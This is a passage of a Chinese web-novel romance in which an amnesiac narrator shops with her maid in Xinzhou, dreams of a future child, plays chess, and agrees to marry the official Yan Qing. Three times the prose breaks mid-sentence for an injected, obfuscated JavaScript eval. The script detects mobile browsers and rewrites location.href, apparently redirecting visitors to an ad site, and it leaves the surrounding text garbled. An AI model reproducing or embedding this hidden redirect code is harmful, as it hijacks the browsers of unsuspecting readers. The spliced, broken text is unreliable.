肚子也填饱了,我一个人在院子里踱步,人生地不熟的,多少有些无聊。府邸虽大,但除了几个忙碌的下人,便只有我一个人闲逛。庭院里的花草倒是开得正好,微风拂过,带来一阵淡淡的花香。我抬头看了看天色,阳光正好。 “如此好天气,怎能不睡觉。” 我自言自语道,转身朝房间走去。 刚准备躺下,忽然注意到窗外有人影掠过,随后我的房门被轻轻敲响。 “夫人,我们给您送点裁缝新制好的衣裳,您现在要看看吗?”门外传来昨晚见过的管家恭敬的声音。 本着礼貌待人的原则,我迅速翻起身,整理好自己的仪容,开门迎接。 “进来吧。”我微笑着说道。 领头的是府上的管家,身后跟着几名侍女,手里端着颜色各异的服饰,无一例外,都是我喜欢的款式和颜色。柔软的丝绸、精致的刺绣,每一件都显得格外用心。 管家走到我身边,语气恭敬而温和:“夫人若还有什么需要,尽管吩咐。” “好,谢谢您。” 我点了点头,心中有些感动。 管家浅笑着微微点头,继续说道:“颜大人特地交代过,您也不必拘束。这间房若是住着不舒服,您跟我说,马上给您换。” 我连忙摆手。 “很舒服!出门右转就是后门,我想出去逛逛也方便。” 管家听了,眼中闪过一丝意味深长的笑意。 “夫人真的变了呢。” “嗯?” 我愣了一下,有些疑惑地看着他。 管家却只是笑了笑,没有再多说什么,转身对侍女们吩咐道:“把衣裳放下吧。” 侍女们将衣裳整齐地放在房间的柜子里,随后恭敬地退了出去。管家临走前,又回头对我说道:“那夫人好好休息,待会儿午膳时间我再来叫您。” “好。谢谢。” 午膳时间颜卿并不在府上,交代完下属后便匆匆离去。 应该是去查案了。 我想着去信州街市走走看,毕竟整日待在府里也闷得慌。管家见我打算出门,脸上露出一丝担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119083|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忧,连忙说道:“夫人,您初来乍到,对信州不熟悉,独自出门恐怕不太安全。不如找个人陪您一起去吧。” 我想想也行,便谢过管家。 随即,他招呼了一位名叫桂花的姑娘过来。桂花年纪不大,约莫十六七岁,穿着一身淡绿色的衣裙,眉眼清秀,笑起来时脸颊上还有两个浅浅的酒窝,显得格外灵动。 “桂花以后就是夫人的贴身丫鬟了。这姑娘很是机灵能干,夫人觉得如何?”管家介绍道。 我上下打量了桂花一番,见她眼神清澈,举止得体,心中莫名有了几分好感。 “很好,谢谢管家,谢谢桂花姑娘。” 桂花听了,脸上泛起一丝红晕,连忙上前行礼:“桂花才要谢谢夫人。以后桂花一定会尽心尽力伺候好夫人。” 我笑着扶起她。 “不必多礼。我见你莫名的熟悉,想必我们之前应该认识。就学从前一样,随意些就好。” 桂花怔愣片刻,点了点头,眼底闪过一丝伤感,随即主动走到我身侧,压抑不住内心的兴奋,热情地向我介绍。 “夫人,您想去哪里逛逛?信州的街市热闹得很,有卖胭脂水粉的铺子,也有卖糕点小吃的摊子,还有不少新奇玩意儿呢。” 我听了,心中顿时生出了几分兴致。从医鹿山一路出发到现在,我可一点没打扮过。两套衣服换着穿,一根发饰走天下。 “那我们就先去逛逛胭脂铺子吧。” 桂花笑着点头,随即引着我朝府外走去。 信州的街市果然热闹非凡,街道两旁摆满了各式各样的摊子,叫卖声此起彼伏,空气中弥漫着各种食物的香气。 桂花一边走一边为我介绍。 “夫人,前面那家‘锦绣坊’是信州最有名的胭脂铺子,里面的胭脂水粉都是上等货,各家夫人都争着用呢。” 走进锦绣坊,店内陈设雅致,柜台上摆满了各式各样的胭脂水粉,香气……是我在医鹿山药草闻多了的缘故吗,这味道着实喜欢不起来。我蹙着眉,想拉着桂花离开。 眼疾手快老板娘见我们进来,连忙迎了上来,笑容满面。 “这位夫人看着面生,是第一次来我们铺子吧?要不要试试我们新到的胭脂?颜色正,质地细腻,保准您喜欢。” 我笑着摇头说不必了。 老板娘倒只顾着推销,管我要不要的架势,随手拿起一盒胭脂,轻轻打开,非得凑到我眼前让我看看。只见里面的颜色鲜艳而不俗,放在平常姑娘眼里确实不错。 可惜,对象是我。 桂花在一旁轻声说道:“夫人,这颜色很适合您,衬得肤色更白皙。” 我笑着看了她一眼,摇头凑到她耳边小声说:“我受不了了,我们出去吧。” 桂花脸色一变,低声道:“夫人没事吧?” 我摆摆手,捂着嘴皱着眉跟老板娘道谢。 “许我近来孕吐得厉害,可惜不能光顾老板的生意。” 老板娘听了,立马明白,搀扶着我送往门口。 “夫人身体要紧。等日后孩子出生了再来啊。” 可算出来了。 我深吸了口信州纯洁的空气,心情舒畅。桂花果然是了解我的,没多问,继续领我又逛了几家铺子。 一路上她向我介绍信州的风土人情,还时不时提醒我注意脚下的路。她的细心和机灵让我对她越发喜欢。 “不过夫人……没有怀孕吧?” 这孩子,到底是了解我还是不了解啊。 我拍拍她的肩膀。 “放心吧,我这刚回来,你们颜大人动作没这么快。” 30. 不知南北 走到一处卖糖画的摊子前,桂花突然停下脚步。 “夫人,这糖画可好吃了,您要不要尝尝?” 我见她眼中满是期待,便笑着点头:“好啊,那就一人来一个吧。” 摊主见我们停下,连忙热情地招呼:“夫人想要什么图案的?有兔子、老虎,还有龙凤呈祥呢!” 我看了看摊子上的糖画,笑着问桂花想要哪个。 “小兔子。” “老板,一个兔子和一个青蛙。” 摊主手脚麻利地开始制作,不一会儿,一只栩栩如生的糖画兔子便递到了我手中。我接过糖画,笑着递给桂花:“吃吧。” 桂花接过糖画,眼中闪过一丝感动,低声道谢。 待我的青蛙做好后,我二话不说,一口咬断青蛙的头。 对上桂花错愕的眼神,我笑着拍了拍她的肩膀。 “走吧,我们再逛逛。” 回到信州府,管家见我们回来,连忙迎了上来。 “夫人今日逛得可还尽兴?” “桂花带我逛了不少有趣的地方。” 管家听了,脸上露出欣慰的笑容。 “大人已经处理完公务回府,正在房里换衣服。” 敞开房门的屋内,颜卿正端详手里一只精致的木雕盒子。 脱下官服的男子,穿着一身月白色的长袍,整个人显得清雅如玉。见我立在门外,他扬起唇角放下手中的木雕盒子,走到我面前。 “今天去了胭脂铺?怎么没给自己添置一些?钱不够吗?” “不是不是,是我不喜欢那个味道,太刺鼻了。” 他轻轻一笑,抬手替我理了理一根翘起的发丝。 “还吃得下吗?或者,我带你出去走走。” “吃!吃了继续逛!” 我笑着跟在他身后走出府门。 傍晚的街道上人来人往,灯火辉煌,信州的繁华在这一刻展现得淋漓尽致。如此盛况一定是他的功劳。颜卿走在我身侧,时不时侧过头看我一眼,眼中带着一丝温柔的笑意。 颜卿领我去的酒楼名叫醉仙楼。不仅味道好分量足,最主要他家吃饭还能免费看戏。酒楼老板专门请了信州最厉害的戏班子驻场,一月之内天天不重样。 雅间内,桌上摆满了精致的菜肴。颜卿为我夹了一块醉蟹,语气温和:“尝尝看,合不合口味。” 我接过醉蟹,嗦了一口,想不到还有酒香。我惊喜地抬起头,他见我的表情浅浅一笑。 酒过三巡,菜过五味,舞台上今日的剧目落下尾声。我们和全场食客一起为戏班子献上掌声。 夜色渐深,醉仙楼外的灯火依旧辉煌。 颜卿起身,朝微醺的我伸出手轻声说道:“我带你去河边走走” 我重重点了点头,搭上他的手掌。 明明只是小小一壶酒,我竟有了醉意。若不是颜卿扶着我,恐怕出不了醉仙楼就先摔了。 颜卿说的河边,是信州最繁华的地带,璀璨天城笙歌不断。画舫上的姑娘弹着琵琶,唱着小曲儿。横跨河道的石桥上布满了挂满彩灯的架子,以及来来往往的恋人。 忽然想起了光州的彩灯节。 我轻轻扯了扯颜卿的衣袖。 “我之前在光州看了他们的彩灯节,可热闹了。” 颜卿笑了笑。 也不晓得是笑我醉酒后说话的语气还是笑我居然几杯就醉了。 “一开始,光州的彩灯节本取名千灯节。你可知为何改了名?” 改名?好像确有此事,闻笙同我说过。 “好像是说,和别处的千灯节撞了名,所以改了?” “对。” 人流逐渐变多,颜卿拉近和我距离,手背不小心蹭到我的手臂,又立马收回。 “千灯节在信州已有千年历史,本是当地人过去祈求风雨的祭祀活动……” 后面颜卿还说了很多,但我一个字也没听进去。 眼睛始终盯着那只被我烫开的手。 等颜卿唤醒我时,自己不听话的手已经抵达对岸,握住了那只滚烫的手。 “牵……” 我沙哑着嗓子,抿了抿唇,抬眸望向他深邃的眼眸。 “夫妻,不该牵手吗。” 自知我失忆重生后,颜卿从不提及过去,也从不问我是否想起了什么,只是默默地照顾我,陪伴我,好像从来都是如此,没有谁离开,也没有谁忘记了过去。 颜卿整日忙于公务,只有休沐日得空陪我出远门。 “无聊无聊真无聊,医书看完看药书。抬头见花低见草,忽然想吃……花、生、糕。” 我抬了把竹椅放在房门口的院子里,背靠扶手腿挂椅背,百般无聊。 选了个最偏僻的房间,好处便是无人打扰,坏处便是过于清净。 除了走后门的人,几乎没人会从我这儿经过。哪怕我冲上大街,随机挑选一位幸运儿揍他一顿再回来,府上也是无人知晓。 “神器啊神器,快给点提示,让我干点什么吧。否则,我要成废人一条,原地腐烂发臭了啊啊啊啊……” 白梅步摇被我抛上天空,落下接住。抛起又落。 “你快显灵啊!否则我就把你拿去卖了!” 如此被我玩弄,神器依旧不搭理我。 “是不是换了个造型,你就变懒了?以前好歹还从梦里带点东西来,现在什么都没有。” 它还是不理我。 神器确实是现在的白梅步摇。 离开光州那天,闻笙交还给我的是那支与他亲制一模一样的青竹发簪。在见到孙寺之前,我特意把白梅取下揣进怀里,换成了闻笙送我的发簪。 步摇在怀中发出共鸣,那是神器才能做到的。 意思就是,现在那支青竹发簪,就是一支普通的发簪。 是见我喜欢,方大仙特意留给我的吗。还是闻笙为我做了一支新的? 我猜是后者。 颜卿忙于公务的时候,我会溜出去,到勾栏瓦肆听戏喝茶。时间久了,一些常客也成了眼熟客。例如现在刻意与我拼桌的姑娘。周围明明还有空出的位置,她偏要坐我这一桌。 连续光顾此地五日的我,与这姑娘也打了五次照面。可我们从来没有正经说过话。直到今天,她主动与我搭话。 “你从信州府后门出来的,你是颜大人府上的丫鬟?应该不对。你这身衣服就注定你不是丫鬟,更何况,丫鬟哪儿有时间天天出来听戏的。没有胭脂味,却有股药草味。所以你是颜大人的……夫人?” 我看着她,陷入沉思。虽然不知道那句“所以你是颜大人的夫人”是如何得出的结论,但这是我们第一次交谈,她竟然对我的事了解这么多。 我一言不发,她谄媚地笑着说:“如果是的话,我想请夫人帮个忙。” “颜卿是清官,你找他帮忙,他不会拒绝的。” “正因为如此,所以才找你帮忙呀。” 我眼看着她从怀里取出一张纸递给我,上面写着的似乎是一位叫姜妍的姑娘的生辰八字。 “我不会算命。颜卿也不会。姑娘可以去清溪山问问。” 那姑娘笑着摆手。 “夫人误会了。我是希望夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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头顶传来温柔的声音,我抬起头,看见颜卿正俯身看着我。他刚从府上出来,官服已经换成月白色的常服,头发简单束在头顶,整个人显得清雅如玉。他的目光落在我愁眉苦脸的脸上,眼底带着几分关切。 我撇了撇嘴,可怜兮兮地望着他:“被欺负了。” 颜卿轻笑一声,在我身边坐下,修长的手指轻轻拂过我额前的碎发:“居然有人敢欺负楚女侠?我倒要听听怎么一回事。” 我将姜妍的事情说与他听,以及自己不知道那这张生辰八字怎么办而苦恼。 颜卿笑着手掌覆上我的手背。 “明天我让人还回去。走吧,回家吃饭。” 说罢,牵起我的手。 每天傍晚,颜卿都会亲自到瓦肆接我回家。一开始我牵他的手,他会一下僵硬住。时间久了,他也慢慢习惯,学会主动牵手手了。 “我听人说,颜大人这些年一直没有娶妻的打算。好多姑娘主动送上门你都不闻不问。” 十指相扣的手在两人之间晃动。繁华的信州街道人来人往。 “这月十五是个好日子。” 六月十五,确实是个好日子,月圆之日,春夏之交的天气,光是听着便给人一种恰到好处的温柔。 “是有什么喜事吗?” 我歪歪头,问颜卿。 他紧了紧攥住我的手,眉眼深情地看向我。 “我娶你,好不好?” 31. 星河予梦 眼前弥漫着混沌的黑暗,未知的恐惧逐渐蔓延而上。 是梦吗?为什么这次的梦和以往的不太一样?为什么什么都看不见? 我茫然地思考着,下一秒,婴儿的啼哭声在寂静的黑暗中骤然响起,像是一把锋利的小刀,划破了夜的宁静。 “哇——哇——” 我循着声音的来源,在黑暗中摸索前行。 随着逐渐靠近,声音逐渐放大,黑暗中照进一束光,打在篮子里的婴儿身上。 小小的胸膛剧烈起伏着,粉嫩的嘴唇微微颤抖,眼泪顺着红扑扑的脸颊滑落。那哭声里带着几分委屈,几分不安,还有几分对这个世界的好奇。 我站在远处,静静地看着她。 忽然,黑暗中走出一名女子,她背对着我,弯下腰抱起哭泣的婴儿。她轻轻拍打着婴儿的后背,哭声渐渐弱了下来,变成了断断续续的抽噎。小小的身子一抖一抖的,像是受了天大的委屈,终于躲进母亲的怀里。 我为什么会梦到这样的场景?那孩子是谁?那女子又是谁?方大仙是不是引错梦,把别人的过去调换到我的梦境里。 我歪歪头,想要绕到女子的正面看得更清楚一些,至少看看那张脸是不是我认识的。 可无论我怎么走,始终无法走近她们。 “这不是过去发生的事。” 忽然,方大仙毫无征兆地出现在我身边,眼底尽是温柔,看着那名女子和她怀中的孩子。 “不是过去?那就是以后咯?” “取个什么名字好呢。” 大仙的声音越说越轻,越说越温柔,宠溺快要溢出。 我看看他,又看看远处。 “那是你夫人和孩子?” 冷不丁,他瞪了我一眼。 “耳朵长哪儿去了?这不是过去发生的事。那个人……” 方大仙领着我绕到那女子的正面。明明我如何走都无法到达的对岸,跟在他身后,没几步路便抵达。 我深呼吸,尽量让自己心静下来,不被眼前看到的画面所惊掉下巴。 那个人,是我。 我揉了揉双眼,不可思议地看着眼前的一幕:那个抱着婴儿的女子,分明就是我自己。 她的眉眼、她的轮廓,甚至她低头时微微蹙眉的神态,都与我如出一辙。只是她的眼神更加温柔,带着初为人母的喜悦与疲惫。 “这……这、我……啊?我的孩子?谁的?捡的?我生的?这……” 我语无伦次地说着,感觉自己的世界观在这一刻彻底崩塌。 方大仙轻轻拍了拍我的肩膀,示意我冷静。他的目光落在那对母子身上,眼底闪过一丝复杂的情绪。 “这是你的未来。”他轻声说道。 我呆呆地看着“自己”怀中的婴儿,那小小的身子裹在柔软的襁褓里,粉嫩的小脸皱成一团,正发出细弱的啼哭声。那声音像是小猫的呜咽,又像是清晨的露珠滴落,清脆中带着几分稚嫩。 “孩子……我和谁的孩子?颜卿的?还是,下一个男人的?”我喃喃自语,声音里带着几分不确定。 方大仙没有直接回答,而是反问道:“你希望是谁的?” “只要别是什么山大王海盗劫匪之类的就行。” 黑暗中,方大仙无奈地叹了口气。 “你准备好成为一名母亲了吗?” 我愣住了。这个问题太过突然,我从未认真思考过。看着“自己”温柔地哄着怀中的婴儿,我突然感到一阵莫名的悸动。那是一种从未有过的感觉,像是心底最柔软的地方被轻轻触碰。 “我……”我张了张嘴,却不知该如何回答。 方大仙似乎看穿了我的心思,轻声说道:“我一直认为,你是永远长不大的孩子,担负不起这样的重责任。可神器引出的梦不会出错。” 我转头看向他,发现他的目光依然停留在那对母子身上。他的眼神温柔得不可思议,仿佛在看着世界上最珍贵的宝物。那是父亲看女儿的眼神,满眼的宠爱。 “大仙。”我犹豫了一下,还是问出了口,“你就是我爹吧。之前叫你爹的时候,你都没有反驳,接受得很自然。” 方大仙的表情突然变得有些古怪,他轻咳一声,避开了我的目光。“这个嘛……”他的声音里带着几分尴尬,“还是等你恢复记忆,自己去发现吧。” 我笑了笑,还想再问些什么,眼前的画面却突然开始模糊。 梦要醒了。我又会忘记眼前的一切。 方大仙的声音渐渐远去。 “这次,顺从你的心意去抉择吧。” “我没明白。” “凡人的寿命短暂,莫要负了真心……” 信州府的衙门前,几株高大的槐树正开满了白色的花朵,花香随着微风飘散,引来几只蜜蜂在花间忙碌。树下的石凳上,偶尔有行人驻足歇息,享受着清晨的宁静。衙门的屋檐下,几只燕子正在筑巢,叽叽喳喳的叫声为这座城增添了几分生机。 我站在府门外懒懒伸了个腰,等着一抹墨绿色身影从街角处出现。 “你是谁?怎么站在信州府门口?”一个清脆的声音响起。 我看向声音源头,台阶之下,三位衣着鲜艳的少女叉腰而立,一人手里攥着一封信,脸上带着几分好奇与戒备。为首的少女穿着一身淡粉色的襦裙,眉眼间带着几分傲气,上下打量着我。 “你们又是谁?来报案的?”我微微挑眉,语气平静。 “我们是来给颜大人送情书的。”粉衣少女扬起下巴,“你——难道也是?” 她的目光在我身上扫过,眼中闪过不屑,仿佛在说:就她也配。 我无所谓地耸了耸肩,往旁边挪了挪,给她们让出一条路。 “我不是来告白的。你们请。” 粉衣少女轻哼一声,拾阶而上。走到登闻鼓旁其中一位突然捞起鼓槌,准备击鼓。我眼疾手快,立刻伸手拦住。 “诶诶诶!这是伸冤用的,可不能乱敲!” “不敲颜大人怎么会出来。”那少女撇了撇嘴,些许不耐烦,“你起开。” 我挡在鼓前,语气坚定:“不行不行!你们这是妨碍公务!况且胡乱击鼓是会被杀头的!” “颜大人才不会杀我们呢。”粉衣少女不以为然,“他可是信州府最温柔的官,怎么会因为这点小事就杀头?你好烦啊,妨碍我们做事。假装什么都不晓得,一边呆着去。” 现在的小姑娘脾气都这么古怪吗。目中无人,还无视法律。 我无奈地叹了口气,正想再劝,忽然听见不远处传来一阵沉稳的脚步声。转头望去,颜卿正好回府,一身青色官服,衬得他愈发清俊。他的目光落在我身上,满是怜爱温柔,随即转向那几位少女,威严清冷。 “几位姑娘,是有要事禀告?” 粉衣少女的脸瞬间红了,小碎步跑到颜卿跟前,连忙将手中的情书递上,声音也变得矫揉造作起来。 “颜大人,这是小女子的生辰八字,请您收下。” 颜卿轻蹙眉头,目光不看面前的姑娘反而落在我身上,唇角微微上扬。视线重回眼前人时,他背过手语气严肃。 “无事胡乱击鼓是重罪,还望三位姑娘以后不要再犯。本府谢过姑娘们的好意,只是……” 他笑着目光转向我。三位姑娘也随着他的视线一同看向我。 “这位,是我夫人。” 三位少女愣在原地,随即目光在我和颜卿之间来回扫视,脸上露出几分尴尬。粉衣少女咬了咬唇,低声说道:“小女子不知颜大人已有妻室……是我们失礼了。” 匆匆行礼后,三人落荒而逃。 我走下台阶站在颜卿身旁,看着她们远去的背影,忍不住笑出声。 “颜大人果然魅力非凡,信州府大部分姑娘都想把生辰八字当情书送给你吧?” 颜卿转头看我,无奈浅笑。 “还好有你在。以后可以名正言顺地拒绝了。” 我笑着摇头。 “合着我成你桃花运的挡箭牌喽?” 颜卿握住我的手,轻轻捏了捏我的指尖。 “有你一朵桃花便足够了。” 我脸一红,低头避开他的目光。 “油嘴滑舌。都跟谁学的……” 颜卿轻笑一声,牵起我往府里走。 “你啊。” “我没教过,我可不会撩人。” 午后,阳光变得炽烈起来。街道上行人稀少,只有几只懒散的猫儿躲在屋檐下的阴影里打盹。 后院的凉亭里,耀眼的光透过藤蔓的缝隙洒下来,在地上投下斑驳的光影。石桌上摆着一副棋盘,黑白棋子错落有致。我执白子,管家执黑子,桂花则在一旁为我们倒茶观战。 “啪——” 清脆的棋子落盘声响起,我又输了。 这已经是今天输给管家的第三局,三连败。我不服气地收起棋盘上白色的棋子,眉头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119085|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微皱。 “再来。” 管家笑着收回黑子,动作表情从容不迫。 “夫人是初学者,不必急于一时。更何况,下棋讲究心静。只有心沉下来,才能看清棋局的走向,判定该走哪一步。” 我浅浅笑着,无所畏惧。 “放心,多输几局,我的心自然就凉了。” 桂花在一旁轻笑出声,将一杯热茶递到我手边:“夫人,喝口茶,歇会儿再下吧。” 我道谢接过茶盏,轻轻抿了一口,茶香在口中弥漫,回味甘甜。我擦着嘴角,抬头看向管家:“再来再来,这次我一定赢。” 管家笑着点头,重新摆好棋盘:“夫人请。” 我执起白子,目光在棋盘上游移,试图找到破局的关键。然而,管家的黑子却总是能在我落子后迅速占据优势,仿佛早已看穿了我的每一步。 “啪——” 又是一声清脆的落子声,我的白子再次被围困。 不会吧,这次输得也太快了! 我叹了口气,放下手中的棋子:“又输了。” 管家微微一笑,语气温和:“夫人不必气馁。下棋如人生,需得步步为营,方能立于不败之地。” “可我怎么觉得,你每一步都算准了我的心思?” 管家捋了捋胡须,笑道:“夫人虽有下棋的天赋,但败在心浮气躁,自然容易被看穿。若是心静如水,沉下心来,老夫也未必能占得上风。” 我若有所思地点点头,低头看着棋盘,心中渐渐平静下来。桂花又为我添了一杯茶,轻声说道:“夫人,不如歇会儿。要不要吃糕点?” 我点点头,端起茶盏咬下一口芝麻糕。凉亭外,微风拂过,裹挟着阵淡淡的花香。我深吸一口气,心中那股不服输的劲儿渐渐消散。 “管家,”我轻声说道,目光落在棋盘上,手中捏着一枚白子,“颜大人喜欢下棋吗?” 管家眼中闪过一丝怀念。 “大人精通琴棋书画,闲暇时,就爱这一手。” 我放下手中的棋子,抬头看向远处的光影,泛起一阵恍惚。 “以前……”我低声呢喃,仿佛陷入混沌的回忆,“我是不是和他,也在这里下过棋?” 凉亭里一时陷入了沉默。管家和桂花相视一眼,脸上露出几分为难的神色。桂花轻轻放下茶壶,低声说道:“大人担心……” 我收回目光,笑着看向他们:“不必担心我,我早习惯了。” 我的语气轻松,释然一般。 “相比一无所知,我更好奇以前的我和颜卿是怎么相处的。给我讲讲呗?” 管家叹了口气,目光落在棋盘上。 “夫人和大人以前,确实常在这座凉亭下棋对诗。大人棋艺精湛,夫人却总能出其不意,赢上一两局。” 我听着管家的话,脑海中仿佛我与颜卿对弈的画面。颜卿坐在我对面,手中捏着黑子,目光温柔而专注。我则执白子,眉头微皱,思索着下一步的走法。凉亭外,是春风,是夏雨,是秋叶,是冬雪。 “那时候,”管家继续说道,“大人和夫人也爱对诗。大人出上句,夫人接下句,两人你来我往,常常引得我们这些府中下人驻足聆听。” 我低头看着棋盘,心中泛起一阵酸楚与温暖。那些记忆模糊,却带着某种熟悉的气息。 “那……我们下棋时,颜卿会让我吗?” 桂花笑了笑。 “大人倒是想让,可夫人不肯,还责骂大人耍赖,非要凭自己的本事赢他。” 我忍不住笑出声,“看来,我以前还挺倔强的。” 霎时,桂花收起嘴角的笑意,轻叹了口气。 “夫人不在的这几年,大人棋也不下了,诗也不作了,整日忙于公务,头发都白了几根。” 我抬头看了眼凉亭外的天空。 “管家,”我轻声说道,“再来一局吧。” “啪——”清脆的落子声再次响起,这一次,我终于在管家的黑子中找到了破绽。 管家看着棋盘,点头赞许:“夫人果然进步神速。” 我笑着放下手中的棋子,心中满是成就感。 桂花在一旁笑着为我们添茶:“夫人骨子里有下棋的天赋,果然一点就通。” “嗯。”我欣喜着欣赏已成定局的黑白之界,“颜卿也该体验一下娱乐生活了。对了管家,麻烦今天的晚膳端到这儿来吧。” 该和颜卿好好谈谈了。 32. 晓妆初过 夜幕降临,街边的灯笼一盏盏亮起,昏黄的光晕洒在青石板路上。千灯节将至,城中已有了节日的气氛。酒楼里传来阵阵丝竹声,城外的田野蛙鸣此起彼伏。 二堂内,颜卿正伏案疾书,眉头微皱,手中的笔在纸上飞快地游走。我走到他身边,他竟毫无察觉。二话不说,直接将他从座位上拎起来。 “颜大人呐,再忙也要吃、饭、啊!” 颜卿被我突如其来的动作吓了一跳,手中的毛笔差点掉在地上。他抬头看我,无奈中满是宠溺。 “抱歉,本想着只差一点,很快处理完的。久等了吗?” 我撇了撇嘴,佯装不满。 “不久不久。不过菜已凉,颜大人吃不到热乎劲儿了。” 颜卿轻轻握住我的手,语气温柔。 “马上入夏,菜凉一点也无妨。” 我瞪了他一眼,却也没再说什么,拉着他快步走回凉亭。桂花又将凉掉的饭菜重新热了一遍,点燃了后院的灯。 月牙儿悬在夜空,光洒在后院的秋千上,映出一片银色的光辉。我们并肩坐在秋千上,荡起又落下。 “那日在街头问你的话,考虑得如何?”颜卿轻声询问,语气中带着几分期待。 我假装思考,抬头看向天空中的圆月,嘴角偷摸勾起一抹笑意。 “六月十五,月圆之日啊……” 颜卿微微一愣,随即眼中闪过一丝失落。 “抱歉。明明刚认识不久,我竟敢……” 我转过头,看着他眼中的光芒,心中泛起一阵欣喜。 “是啊。颜大人拒绝别家姑娘的时候,可说的‘我与姑娘不过一面之缘。相守一生之人还是知根知底得好’。” 我模仿颜卿的语气,学着管家跟我讲的,他过去拒绝别家姑娘的话。 颜卿的唇角微微上扬,低垂看向月影下的两个人。 “是啊,明明只是初见……” 我晃荡着两条腿,仰望头顶的月。 “你信一见如故吗?” 颜卿转头看向我。 “我见你一见如故,一见倾心。我猜,是因为从前的缘故。我的直觉告诉自己,‘这次,顺从我的心意去抉择吧。莫要负了真心。’。” 我站起身,走到颜卿面前,他也抬头看我。 “颜卿。” 我抓起他的手,握在手心。 “六月十五,是个好日子。你娶我,好不好?” 颜卿低下头,再抬起时脸颊通红,眼角泛着泪光,眸中满是深情。 我脸一红,垂眸避开他的目光。 颜卿轻笑一声,起身靠近,伸手轻轻抬起我的下巴,目光温柔得几乎要将我融化。 “好。” 我看着他眼中的光芒,心中再次泛起一阵欣喜与感动。月光洒在我们身上,映出两道交融的身影。这一刻,仿佛整个世界都安静了下来,只剩下秋千的轻响和微风拂过的声音。 像一片羽毛落上我的唇,属于他的气息裹挟着我。我伸出双臂揽上他的脖颈,主动撬开他的双唇,打他个措手不及。 他经不住刺激,下意识想躲,我收紧双臂,不许他逃。 应是默许了我的任性,他索性将手放在我的腰间,扶着我的腰贴近他。 喘息间,我撞进他深色的眸子里。 “颜大人不是第一次吧?” 他修红着脸回答:“第二次。” 我稍稍抬眉打趣,“那第一次,一定也是我。” 他笑着再次吻上我。 五月末的信州,正值春末夏初,整座城仿佛被一层温柔的薄纱轻轻笼罩。清晨的阳光透过薄薄的云层洒下来,将青石板路映得微微发亮,空气中弥漫着淡淡的花香和泥土的清新气息。 城中的街道两旁,柳树的枝条已经长得茂密,翠绿的叶子在微风中轻轻摇曳,仿佛在低声诉说着季节的更替。早市的小贩们早早地摆开了摊子,新鲜的蔬果堆得满满当当,空气中飘荡着刚出炉的包子香气和茶叶的清香。街角的茶摊上,几位书生正悠闲地品着早茶谈论新作的诗词,茶香袅袅升起,与晨风交织在一起,带来一丝清凉。淡蓝色的裙摆随风浮动,心情也随之飘飘然。 这就是岁月静好吗。 难得不被击鼓鸣冤的声音吵醒,自然醒后,我跑到大街上,四处寻找在街上巡访的颜卿。静静地跟在他身后,等他工作告一段落后,要他陪我在街市上吃一顿丰盛的早膳。 “府上的早膳不合胃口吗?” “绝对不是!张厨的手艺非常好!偶尔也要换换口味嘛。来信州半个月,也该体验一下信州远近闻名的油条包麻糍啦。” 临街简易的摊铺,老板随意支了两张桌子,我和颜卿相对而坐,看着老板一步步制作每美味。油光蹭亮的面条拉扯开缓缓放入油锅,等油条定型后捞出。老板娘见油条从锅中捞出,立马拿出热乎乎的麻糍平铺在油条中间,撒上白糖和芝麻,完成。 我馋这口馋太久了。这家铺子是桂花推荐的,说味道是她吃过最好吃的,不甜不腻。 一口咬下,我差点又原状送出口。 好烫! 颜卿笑着摇头,将他吹冷的豆浆推到我面前。 “不着急。喜欢吃,我们下次再来。” 不愧是桂花的推荐,非常合我胃口。糯叽叽的麻糍软糯绵密,清香微甜。尤其是油条!我就喜欢吃脆脆的东西。 清晨的阳光透过薄薄的云层洒在信州城的街道上,青石板路被晨露打湿,泛着淡淡的水光。相比我直接用手拿着吃,颜卿知书达理多了。只见他修长的手指捏着筷子,夹起一块,一口咬下细细品尝,咽下后再端起豆浆,动作优雅从容。 “想好选择哪一家了吗?” 颜卿放下筷子,抬眼看向我,目光温柔而专注。 “嗯,就选西街那家。他们家裁缝一看就靠谱,不像南街那家,都不知道我在说什么。” 颜卿微微一笑,伸手将我额前一缕散落的发丝别到耳后。 “好,我陪你。” 我愣了一下,随即摇头:“你下午不是要去地柱村吗,忙你的吧,桂花陪我就行。” 颜卿的目光依旧落在我脸上,眼中带着几分笑意:“我也想看看自己的婚服。” 我忍不住笑了,语气软下来。 “那——我陪你去村里,办完事情我们一起去?” 颜卿的唇角微微上扬。 “好。” 出了城门,去往地柱村的路上会经过一大片田野,稻苗已经长到了膝盖高,嫩绿的叶子在阳光下泛着油亮的光泽。萦绕在山峦的晨雾逐渐散去,山间的溪水潺潺流淌,水面上泛着细碎的波光,映出天空的湛蓝。偶尔有几只白鹭从水面上掠过,翅膀拍打着水面,溅起一串晶莹的水珠。 欣赏风景一会儿的功夫,颜卿的事情置办妥当,在村民的拥护下牵着我上马车。 